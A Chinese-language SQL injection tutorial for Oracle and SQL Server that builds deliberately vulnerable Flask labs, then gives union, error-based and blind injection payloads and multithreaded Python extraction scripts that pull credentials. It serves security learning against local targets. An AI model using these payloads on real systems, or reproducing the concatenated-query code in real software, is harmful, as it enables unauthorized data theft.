这类视图通常和数据库运行状态，会话，实例信息有关，普通用户不一定有权限访问

Oracle中很特殊的一点是很多select常量或函数时必须要FROM DUAL

SELECT 1 FROM dual;
SELECT USER FROM dual;
SELECT SYSDATA FROM dual;

Oracle官方文档说明，DUAL是Oracle自动创建的数据字典表，位于sys schema，但所有用户都可以通过DUAL访问，他只有一行，因此常用于select计算常量表达式

核心数据视图与字段名

all_tables
# 查表名
核心字段：
owner
# 表的所有者，相当于其他数据库的schema或database概念，在oracle中通常一个用户就对应一个schema
table_name
# 表名

all_tab_columns
# 查列名
核心字段：
owner
# 表的所有者
table_name
# 表名
column_name
# 列名
data_type
# 数据类型（如varchar2,number）

all_objects
# 查全局对象，在oracle中，表、视图、索引、存储过程等都被统称为对象，当无法访问al_tables或想查看存储过程时可以查all_objects
核心字段：
owner
# 对象所有者
object_name
# 对象名称（表名、视图名等）
object_type
# 对象类型（'table'、'view'、'procedure'）

查环境与用户信息：

V$VERSION
# 版本信息
核心字段：
banner
# 包含详细版本信息的长字符串
select banner from v$version

GLOBAL_NAME
# 当前数据库名
核心字段：
GLOBAL_NAME
select global_name from global_name

ALL_USERS
# 查所有用户
核心字段：
username
select username from global_name

SYS.USER$或DBA_USERS
# 查密码哈希
oracle对密码哈希的保护极其严格，在早期版本（10g及以前），密码哈希存在dba_users.password中，在11g及以后转移到了更底层的sys.user$password或spare4中，普通人极难获取到

# 本地靶场搭建

docker run -d --name oracle-lab -p 1521:1521 -e ORACLE_PASSWORD=root gvenzl/oracle-xe:slim
# 拉取并运行Oracle 11g或21c的精简版
python3 -m pip install flask oracledb
# 准备python环境

创建一个文件夹在里面创建一个app.py文件，粘贴以下内容：

import oracledb
from flask import Flask, request

app = Flask(__name__)

# Oracle 数据库连接配置 (gvenzl 镜像默认的可插拔数据库名为 XEPDB1)
# 用户名使用自带的 system 管理员
DB_USER = "system"
DB_PASS = "root"
DB_DSN = "localhost:1521/XEPDB1"

def get_db_connection():
    return oracledb.connect(user=DB_USER, password=DB_PASS, dsn=DB_DSN)

def init_db():
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        
        # 尝试创建测试表。Oracle 没有 IF NOT EXISTS 语法，因此如果表已存在会报错，我们用 try-except 忽略它
        try:
            cursor.execute("""
                CREATE TABLE vuln_users (
                    id NUMBER GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,
                    username VARCHAR2(50),
                    password VARCHAR2(50)
                )
            """)
            
            # 插入测试数据
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('admin', 'oracle_admin_pass')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('guest', '123456')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('flag', 'ZLARYY{O3acIe_15_s0_3@sy!!!}')")
            conn.commit()
            print("[+] Database initialized successfully.")
        except oracledb.DatabaseError as e:
            error, = e.args
            # ORA-00955: 名称已由现有对象使用 (说明表已经建好了)
            if error.code == 955:
                pass
            else:
                raise
    finally:
        cursor.close()
        conn.close()

@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 经典的漏洞点：拼接 SQL 语句。注意 Oracle 严格区分大小写且常用单引号
    query = f"SELECT id, username, password FROM vuln_users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 打印数据库真实报错，这在 Oracle 中是进行“报错注入”的关键
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 等待 Docker 启动完毕后运行此脚本
    init_db()
    app.run(debug=True, port=5002)

然后通过下面的命令运行web应用：

python3 app.py

如果访问http://localhost:5002/user?name=admin能看到oracle_admin_pass就成功了

# 相关注释符和函数

• 注释符：单行注释：--，与其他数据库都相同

  多行注释：/* ... */

• 字符串拼接符：||，与SQLite类似

• length()：获取字符串的长度

• substr()：截取字符串

• ascii()：字符转ascii码

• chr()：ascii码转字符

• decoder(value,search_value,result1,default_result)：这是Oracle的条件判断函数，如果value等于search_value就返回result1，否则返回default_value，可以在布尔盲注中代替if或case when

• 报错注入核心函数：

  1. utl_inaddr.get_host_address('要查询的数据')：这个函数原本是用来通过主机名查IP的，如果传入一个无效的主机名就会报错，并且显示查询内容
  2. ctxsys.drithsx.sn(user,'要查询的数据')：这是一个处理文本的底层函数，传入不符合格式的参数同样会抛出包含参数内容的错误
  3. xmltype('<:'||要查询的数据||'>')：当传入无法解析为正常XML格式的字符串时会产生报错回显

• 延时盲注：

  1. dbms_pipe.receive_message('任意字符',延时秒数)：这是Oracle中常用的延时函数，它原本用于管道通信，在这里被当做sleep()使用：

     and 1=(case when (1=1) then dbms_pipe.receive_message('a',5) else 1 end) --+

  2. dbms_lock.sleep(秒数)：这个函数十分直观但是绝大多数情况下普通数据库用户没有权限调用它

  3. 笛卡尔积运算：如果上述函数都被禁用，可以利用select count(*) from all_objects,all_objects，由于all_objects表通常有几万条记录，将其自身进行交叉连接会产生几亿次运算从而瞬间卡死数据库造成物理上的延时

• oracle中没有limit关键字，在oracle 12c及以前必须使用伪列rownum来限制返回行数，由于rownum的特殊机制（先分配行号再进行条件判断），不能直接写where rownum=2，只能写where rownum=1或者使用子查询

  select table_name from all_tables where rownum=1 and table_name are not in ('已知表名1','已知表名2');

  oracle 12c以上版本支持fetch first 1 rows only或offset 1 rows fetch next 1 rows only

# union联合注入

Oracle依然可以用order by判断列数

?name=admin' order by 3 --+

也可以使用union试：

?name=admin' UNION SELECT NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL,NULL FROM dual --+

查询当前用户：

?name=a' union select null,user,null from dual --+

确认当前会话上下文：

?name=a' union select null,sys_context('userenv','current_schema'),null from dual --+

SYS_CONTEXT可以读取当前会话上下文信息，比如userenv里面的schema等信息，查到这两个内容都是SYSTEM说明当前连接用户和默认schema都是SYSTEM，SYSTEM是高权限内置管理用户

查所有的的表：

?name=a' union select null,table_name,null from all_tables --+

查当前用户自己拥有的表：

?name=a' union select null,table_name,null from user_tables --+

查当前用户可访问的表：

?name=a' union select NULL,table_name,owner from all_tables --+

这样显示的表特别多的话可以试试：

?name=a' union select NULL,table_name,owner from all_tables where owner in ('SYSTEM')--+

只查询SYSTEM下可访问的表，在本靶场中表名叫做vuln_users

接着继续查字段名：

?name=a' union select NULL,column_name,NULL from all_tab_columns --+

同样可以利用下列字段进行过滤：

?name=a' union select NULL,column_name,owner from all_tab_columns where owner in ('SYSTEM')--+

我们之前提到过没有加双引号的都会自动转成大写，所以我们的表名列名也是转为大写了的：

?name=a' union select NULL,column_name,NULL from user_tab_columns where table_name='vuln_users' --+

用rowname限制行数和not in语句限制查询内容：

?name=a' union select ID,USERNAME,PASSWORD from VULN_USERS where rownum=1 and USERNAME not in ('admin','guest')--

# 时间盲注

利用的原理还是那个逻辑只不过就是换换函数：

?name=admin' and 1=(case when substr((select user from dual),1,1)='S' then dbms_pipe.receive_message('p',5) else 1 end) --+

脚本如下：

import requests
import threading
import time

url = "http://localhost:5002/user"

target="select user from dual"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

max_threads=10

result=""

threshold=3

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and 1=(case when substr(({target}),{position},1)='{ch}' then dbms_pipe.receive_message('p',5) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"name":payload})
            end=time.perf_counter()

            cost=end-start

            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# 布尔盲注

?name=admin' and substr((select user from dual),1,1)='S' --+

我们利用真页面返回oracle来写布尔盲注：

import requests
import threading

url="http://localhost:5002/user"

target="select user from dual"

max_threads=10

result=""

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"
for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' -- "
        try:
            response=requests.get(url,params={"name":payload})
            if 'oracle' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# SQL server(MSSQL)

# 数据库架构以及核心字段名

SQLServer的对象层级为：

SQL Server Instance
  ↓
Database
  ↓
Schema
  ↓
Table / View / Procedure / Function
  ↓
Column / Row

例如：Company.dbo.Users表示：

Company 数据库
  ↓
dbo schema
  ↓
Users 表

SQL Server里的dbo很常见，它是默认schema

SQL Server里最重要的元数据入口有：

sys.*
# 系统目录视图，SQL Server原生，信息最全
information_schema.*
# SQL标准视图，跨数据库通用，但信息不如sys.*全

INFORMATION_SCHEMA是一种独立于底层系统表的元数据视图，但它只表示对象元数据的一个子集；判断对象schema等更可靠的方式通常是查询sys.objects等系统目录视图。

核心字段

sys.databases
# 存储SQL Server里面所有的SQL Server实例里的数据库
常用字段：
name
# 数据库名
database_id
# 数据库ID
create_date
# 创建时间
compatibility_level
# 兼容级别
collation_name
# 排序规则
state_desc
# 数据库状态
recovery_model_desc
# 恢复模式

sys.databases是数据库级元数据入口，用来列出SQL Server实例中的数据库

sys.schemas
# 存储当前数据库里面所有的schema
name
# schema名
schema_id
# schema ID
principal_id
# schema拥有者ID

SQL Server的schema是对象的命名空间或容器，例如表、视图、过程和函数都可以属于某个schema

sys.tables
# 存储当前数据库里的用户表
name
# 表名
object_id
# 表对象ID
schema_id
# 所属schema ID
create_date
# 创建时间
modify_date
# 修改时间
type
# 对象类型，用户表通常继承自sys.objects
type_desc
# 对象类型描述
is_ms_shipped
# 是否系统对象
temporal_type_desc
# 是否temporal table
max_column_id_used
# 使用过的最大列ID

sys.tables会为当前数据库中的每个用户表返回一行

sys.columns
# 存储表或视图的列信息
name
# 字段名
object_id
# 所属对象ID
column_id
# 字段序号
system_type_id
# 系统类型ID
user_type_id
# 用户类型ID
max_length
# 最大长度
precision
# 精度
scale
# 小数位
collation_name
# 字符排列规则
is_nullable
# 是否允许NULL
is_identity
# 是否自增identity
is_computed
# 是否计算列

sys.tables 会为当前数据库中的每个用户表返回一行

sys.objects
# 当前数据库中几乎所有对象，可以用来查看表、视图、存储过程、函数、触发器等对象
常见对象类型(type)：
u:用户表
v:视图
p:SQL存储过程
FN:标量函数
IF:内联表值函数
TF:标志函数
TR:触发器
PK:主键约束
F:外键约束

sys.tables、sys.views等目录视图会继承sys.objects的通用字段，目录视图之间存在base view和derived view的继承关系，例如sys.tables会返回表特有列以及sys.objects的列。

sys.types
# 把sys.columns里的user_type_id、system_type_id转换成可读类型名
name
# 类型名，例如int,nvarchar
system_type_id
# 系统类型ID
user_type_id
# 用户类型ID
max_length
# 最大长度
precision
# 精度
scale
# 小数位
is_user_defined
# 是否用户自定义类型

sys.indexs
# 可以用来查看表上的索引
name
# 索引名
object_id
# 所属表ID
index_id
# 索引ID
type_desc
# 索引类型
is_unique
# 是否唯一索引
is_primary_key
# 是否主键索引
is_unique_constraint
# 是否唯一约束

# 注入相关符号与函数

• 注释符：--，单行注释；/* */，多行注释

• 字符串拼接符：+，a + b

• []：引用对象名：select * from [users];

• .：SQL Server里对象完整路径常见是database.schema.table

• LIKE：用于模糊匹配

• in：判断是否在集合中

• is null / is not null：判断空值

• db_name()：当前数据库

• system_user：当前登录用户

• user_name()：当前数据库用户

• @@VERSION：版本信息

• @@SERVERNAME：服务器名

• len()：获取字符串长度

• substring()：截取字符串

• ascii()：取字符的ASCII码

• lower()/upper()：大小写转换

• char()：通过ascii码转换为字符

• replace()：替换字符串：replace('abcabc','a','x') => xbcxbc

• concat()：新版SQL Server支持concat('a','b')，也更常见a + b

• convert()：SQL报错注入中常用，convert(int,'abc')

• cast()：和convert()类似，cast('abc' as int)

• top：SQL Server里面没有LIMIT：select top 1 name from sys.tables;

• offset fetch：较新版本支持分页：

  ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY

• string_agg()：可以实现多行合并

• waitfor delay：可以用于时间盲注：waitfor delay '0:0:5'会延迟五秒

• if：SQL Server支持if(条件) 语句

• is_srvrolmember()：判断是否属于服务器角色

• is_member()：判断当前用户是否属于数据库角色

• has_perms_by_name()：判断权限

# 本地靶场搭建

首先我们在本地创建一个文件夹，里面放入四个文件：

MSSQL/
├── docker-compose.yml   # 容器编排配置
├── Dockerfile           # Python Web 运行环境配置
├── requirements.txt     # Python 依赖
└── app.py               # 带有漏洞的 Web 代码

然后将以下内容复制进文件：

docker-compose.yml：

version: '3.8'

services:
  db:
    image: mcr.microsoft.com/mssql/server:2022-latest
    environment:
      - ACCEPT_EULA=Y
      - MSSQL_SA_PASSWORD=YourStrong!Passw0rd  # 必须满足 SQL Server 强密码策略
    ports:
      - "1433:1433"

  web:
    build: .
    ports:
      - "5003:5003"
    depends_on:
      - db
    environment:
      - DB_HOST=db
      - DB_USER=sa
      - DB_PASS=YourStrong!Passw0rd

Dockerfile:

FROM python:3.9-slim

# 1. 安装基础依赖
RUN apt-get update && apt-get install -y curl apt-transport-https gnupg2 unixodbc-dev && \
    # 2. 使用新版推荐的 gpg 方式添加微软密钥（修复 apt-key 报错）
    curl -fsSL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o /usr/share/keyrings/microsoft-prod.gpg && \
    # 3. 添加适配 Debian 12 的微软源
    curl -fsSL https://packages.microsoft.com/config/debian/12/prod.list > /etc/apt/sources.list.d/mssql-release.list && \
    # 4. 更新源并安装 msodbcsql18
    apt-get update && ACCEPT_EULA=Y apt-get install -y msodbcsql18 && \
    apt-get clean

WORKDIR /app

# 安装 Python 依赖
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# 复制应用代码
COPY app.py .

# 启动 Flask 服务
CMD ["python3", "app.py"]

requirements.txt：

flask==3.0.0
pyodbc==5.0.1

app,py：

import os
import time
import pyodbc
from flask import Flask, request

app = Flask(__name__)

# 从环境变量中读取数据库配置（由 docker-compose 传入）
DB_HOST = os.environ.get('DB_HOST', 'localhost')
DB_USER = os.environ.get('DB_USER', 'sa')
DB_PASS = os.environ.get('DB_PASS', 'YourStrong!Passw0rd')
DRIVER = '{ODBC Driver 18 for SQL Server}'

# 基础连接字符串（连接到 master 库用于初始化，ODBC 18 必须加 TrustServerCertificate=yes）
BASE_CONN_STR = f"DRIVER={DRIVER};SERVER={DB_HOST};UID={DB_USER};PWD={DB_PASS};TrustServerCertificate=yes;"
# 业务连接字符串（连接到靶场库）
APP_CONN_STR = f"DRIVER={DRIVER};SERVER={DB_HOST};DATABASE=SQLiLab;UID={DB_USER};PWD={DB_PASS};TrustServerCertificate=yes;"

def init_db():
    print("[*] 等待 SQL Server 启动并接受连接...")
    conn = None
    # 循环等待数据库启动（由于容器启动时差，数据库可能需要十几秒才能对外提供服务）
    for _ in range(30):
        try:
            conn = pyodbc.connect(BASE_CONN_STR, autocommit=True)
            break
        except Exception:
            time.sleep(2)
            
    if not conn:
        print("[-] 无法连接到数据库，请检查 Docker 日志。")
        return

    try:
        cursor = conn.cursor()
        # 1. 创建数据库
        cursor.execute("IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'SQLiLab') CREATE DATABASE SQLiLab")
        
        # 2. 切换到靶场数据库
        cursor.execute("USE SQLiLab")
        
        # 3. 创建表并插入测试数据
        cursor.execute("""
        IF NOT EXISTS (SELECT * FROM sysobjects WHERE name='Users' AND xtype='U')
        BEGIN
            CREATE TABLE Users (
                ID INT IDENTITY(1,1) PRIMARY KEY,
                Username VARCHAR(50),
                Password VARCHAR(50),
                Email VARCHAR(100)
            );
            INSERT INTO Users (Username, Password, Email) VALUES
            ('admin', 'SuperSecretAdmin123', 'admin@local.test'),
            ('testuser', 'password123', 'user@local.test'),
            ('flag','ZLARYY{h0w_Do_y0U_th1nk_m55ql?}','flag@local.test'),
            ('guest', 'guest', 'guest@local.test');
        END
        """)
        print("[+] 数据库自动初始化完成！表和数据已就绪。")
    except Exception as e:
        print(f"[-] 初始化数据库时出错: {e}")
    finally:
        conn.close()

# 在应用启动前执行初始化
init_db()

@app.route('/user')
def get_user():
    username = request.args.get('username')
    
    if not username:
        return "HERE MSSQL <br> 请提供 username 参数。例如: http://127.0.0.1:5003/user?username=admin"

    try:
        conn = pyodbc.connect(APP_CONN_STR)
        cursor = conn.cursor()

        # 【核心漏洞点】：拼接 SQL 语句
        query = f"SELECT * FROM Users WHERE Username = '{username}'"
        print(f"[*] 当前执行: {query}") 

        cursor.execute(query)
        rows = cursor.fetchall()

        result_html = "<h3>查询结果：</h3>"
        for row in rows:
            result_html += f"<p>ID: {row[0]} | Username: {row[1]} | Email: {row[3]}</p>"

        return result_html if rows else "未找到该用户。"

    except Exception as e:
        # 回显报错以支持报错注入测试
        return f"<h3>数据库执行错误:</h3><p>{str(e)}</p>"
    
    finally:
        if 'conn' in locals():
            conn.close()

if __name__ == '__main__':
    # 监听 0.0.0.0 使其能被容器外部访问
    app.run(host='0.0.0.0', port=5003)

除此之外还需要安装依赖：

python3 -m pip install flask pyodbc

之后在命令行用管理员身份运行跳转到MSSQL路径下执行：

docker-compose up --build

# union联合注入

我们的脚本时字符型单引号注入

?username=admin' and 1=1 --+

用order by判断列数：

?username=admin' order by 4 --+

查询数据库：

?username=0' union select 1,db_name(),'3','4' --+

或者可以使用sys.databases：

?username=0' union select 1,(select string_agg(name,'~') from sys.databases),'3','4' --+
?username=0' union select 1,(select top 1 name from sys.databases),'3','4' --+

查询schema：

?username=0' union select 1,(select string_agg(name,'~') from sys.schemas),'3','4' --+

查询表名：

?username=0' union select 1,(select string_agg(name,'~') from sys.tables),'3','4' --+

查询列名：

?username=0' union select 1,(select string_agg(name,'~') from sys.columns),'3','4' --+

在这里我们遇到一个问题，如果我们直接使用这个payload的话会报一串错误：

('42000', '[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]STRING_AGG aggregation result exceeded the limit of 8000 bytes. Use LOB types to avoid result truncation. (9829) (SQLExecDirectW)')

意思是我们的查询结果超出了8000字节的长度

在使用string_agg()函数将多行数据拼接成一行字符串时，SQL Server会根据传入的字段类型决定返回结果，如果传入的是普通的varchar(n)，string_agg()默认输出结果的最大容量只有8000字节，如果传入的是nvarchar(n)，最大容量只有4000字节，为了解决这个问题我们可以使用cast()或convert()实现强制类型转换：

?username=0' union select 1,(select string_agg(cast(name as varchar(MAX)),'~') from sys.columns),'3','4' --+

查询指定表名中的列名：

?username=0' union select 1,(select string_agg(name,'~') from sys.columns where object_id=(select object_id from sys.tables where name='Users')),'3','4' --+

和PostgreSQL的oid一样

?username=0' union select 1,(select string_agg(Username %2B '-' %2B Password,'~') from Users),'3','4' --+

由于+在URL中会被解析为空格所以需要进行一次URL编码，除此之外我们也可以试试concat()：

?username=0' union select 1,(select string_agg(concat(Username,'-',Password),'~') from Users),'3','4' --+

查询用户：

?username=0' union select 1,system_user,'3',user_name() --+

查版本：

?username=0' union select 1,cast(@@version as varchar(max)),'3',user_name() --+

# 报错注入

我们利用到的函数是convert()或cast()实现类型转换错误

?username=0' and 1=convert(int,db_name()) --+

查询数据库：

?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.databases)) --+

其实只需要修改中间的查询语句就可以实现了，这里就直接给出payload吧：

?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.schemas)) --+
# 查询schema
?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.tables)) --+
# 查询表名
?username=0' and 1=convert(int,substring((select string_agg(cast(name as varchar(max)),'~') from sys.columns),1,8000)) --+
# 查询列名

在这里我们遇到了一个问题，在union联合注入中遇到超过8000字节只需要添加一个cast()就行，但是在这里我们还需要在前面添加上substring()，这是由于convert()函数报错：String or binary data would be truncated字符串或二进制数据会被截断，这是由于数据量塞得太满撑爆了convert函数的缓冲区，所以需要进一步用substring对查询内容进行进一次长度限制

?username=0' and 1=convert(int,(select string_agg(concat(Username,'-',Password),'~') from Users)) --+
# 查询flag

?username=0' and 1=convert(int,(select @@version)) --+
# 查询版本

?username=0' and 1=convert(int,(select user_name())) --+
# 查用户

# 布尔盲注

先看看真页面和假页面区别：

?username=admin' and 1=1 --+

?username=admin' and 1=2 --+

我们执行布尔盲注的逻辑是：

?username=admin' and substring((select db_name()),1,1)='S' --+

所以直接给出修改查询语句的盲注脚本：

import requests
import threading

url="http://localhost:5003/user"

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]-~?"

target="select string_agg(concat(Username,'-',Password),'~') from Users"

max_threads=10

result=""

for position in range(1,101):
    found={
        "char":None
    }
    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substring(({target}),{position},1)='{ch}' --+"

        try:
            response=requests.get(url,params={"username":payload})

            if 'local' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in chars:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]
            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("读取结束")
        break
print(result)

# 时间盲注

时间盲注利用逻辑为：

?username=admin';  if substring((select db_name()),1,1)='S' waitfor delay '0:0:5' --+

想要利用时间盲注的话只能采用堆叠注入，因为waitfor delay是语句及命令，不是函数

探测脚本如下：

import requests
import threading
import time

url="http://localhost:5003/user"

result=""

target="select db_name()"

max_threads=10

threshold=3

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]-~?"

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin'; if substring(({target}),{position},1)='{ch}' waitfor delay '0:0:5' --+"
        
        start=time.perf_counter()
        try:
            response=requests.get(url,params={"username":payload})
            end=time.perf_counter()
            cost=end - start
            if cost >= threshold:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass
    
    threads=[]

    for ch in chars:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break
    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# 后记

当然，学完这些SQL注入之后其实可以发现注入的payload可以不止上面所写的一种形式，比如MSSQL的各种限制查询什么表的语句，但理解了通过什么元数据去查询什么字段之后应该能会一些举一反三的，关键还是得记住有哪些元数据存储了哪些字段名......orz